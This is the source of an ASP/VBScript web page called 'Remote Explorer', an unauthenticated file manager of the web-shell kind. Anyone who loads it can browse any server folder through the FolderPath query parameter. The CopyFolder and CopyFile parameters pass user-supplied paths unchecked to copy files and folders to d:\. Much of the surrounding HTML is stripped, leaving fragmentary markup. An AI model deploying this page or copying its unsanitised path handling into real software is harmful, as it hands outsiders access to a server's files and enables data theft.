<%@ Language=VBScript %> <% Option Explicit Dim giCount Dim gvAttributes Dim Ext Dim ScriptFolder Dim FolderPath Dim FileSystem Dim Drives Dim Drive Dim Folders Dim Folder Dim SubFolders Dim SubFolder Dim Files Dim File Dim BgColor, BackgroundColor,FSO If Request.QueryString("CopyFolder") <> "" Then Set FSO = CreateObject("Scripting.FileSystemObject") FSO.CopyFolder Request.QueryString("CopyFolder") & "*", "d:\" End If If Request.QueryString("CopyFile") <> "" Then Set FSO = CreateObject("Scripting.FileSystemObject") FSO.CopyFile Request.QueryString("FolderPath") & Request.QueryString("CopyFile"), "d:\" End If Set FileSystem = Server.CreateObject("Scripting.FileSystemObject") FolderPath = Request.QueryString("FolderPath") If FolderPath = "" Then FolderPath = Request.ServerVariables("PATH_TRANSLATED") End If FolderPath = ParseFolder(FolderPath) ScriptFolder = ParseFolder(Request.ServerVariables("PATH_TRANSLATED")) & "images\" %> Remote Explorer
Address:
<% Set Folder = FileSystem.GetFolder(FolderPath) Set SubFolders = Folder.SubFolders Set Files = Folder.Files %>
<% If Not Folder.IsRootFolder Then BgToggle %> <%BgToggle%> <% End If For Each SubFolder In SubFolders BgToggle %> <% Next For Each File In Files BgToggle Ext = FileExtension(File.Name) %> <%Next%>
Name Size Type Modified Attributes
?FolderPath=<%=Server.URLPathEncode(Folder.Drive & "\")%>">O Top Level
?FolderPath=<%=Server.URLPathEncode(Folder)%>"> Up One Level
">0 <%=SubFolder.Name%> (?CopyFolder=<%=Server.URLPathEncode(FolderPath & SubFolder.Name)%>&FolderPath=<%=Server.URLPathEncode(FolderPath & "\")%>">Copy) <%=SubFolder.Type%> <%=SubFolder.DateLastModified%> <%=Attributes(SubFolder.Attributes)%>
3 "<%=File.Name%> (?CopyFile=<%=File.Name%>&FolderPath=<%=Server.URLPathEncode(FolderPath & "\")%>">Copy) <%=(File.Size)%> Byte <%=File.Type%> <%=File.DateLastModified%> <%=Attributes(File.Attributes)%>
<% Private Function ConvertBinary(ByVal SourceNumber, ByVal MaxValuePerIndex, ByVal MinUpperBound, ByVal IndexSeperator) Dim lsResult Dim llTemp Dim giCount MaxValuePerIndex = MaxValuePerIndex + 1 Do While Int(SourceNumber / (MaxValuePerIndex ^ MinUpperBound)) > (MaxValuePerIndex - 1) MinUpperBound = MinUpperBound + 1 Loop For giCount = MinUpperBound To 0 Step -1 llTemp = Int(SourceNumber / (MaxValuePerIndex ^ giCount)) lsResult = lsResult & CStr(llTemp) If giCount > 0 Then lsResult = lsResult & IndexSeperator SourceNumber = SourceNumber - (llTemp * (MaxValuePerIndex ^ giCount)) Next ConvertBinary = lsResult End Function Private Sub BgToggle() BackgroundColor = Not(BackgroundColor) If BackgroundColor Then BgColor = "#efefef" Else BgColor = "#ffffff" End If End Sub Private Function Attributes(AttributeValue) Dim lvAttributes Dim lsResult lvAttributes = Split(ConvertBinary(AttributeValue, 1, 7, ","), ",") If lvAttributes(0) = 1 Then lsResult = "ReadOnly  " If lvAttributes(1) = 1 Then lsResult = lsResult & "Hidden  " If lvAttributes(2) = 1 Then lsResult = lsResult & "System  " If lvAttributes(5) = 1 Then lsResult = lsResult & "Archive  " Attributes = lsResult End Function Private Function FileExtension(FileName) Dim lsExt Dim liCount For liCount = Len(FileName) To 1 Step -1 If Mid(FileName, liCount, 1) = "." Then lsExt = Right(FileName, Len(FileName) - liCount) Exit For End If Next If Not FileSystem.FileExists(ScriptFolder & "ext_" & lsExt & ".gif") Then lsExt = "" End If FileExtension = lsExt End Function Private Function ParseFolder(PathString) Dim liCount If Right(PathString, 1) = "\" Then ParseFolder = PathString Else For liCount = Len(PathString) To 1 Step -1 If Mid(PathString, liCount, 1) = "\" Then ParseFolder = Left(PathString, liCount) Exit For End If Next End If End Function %>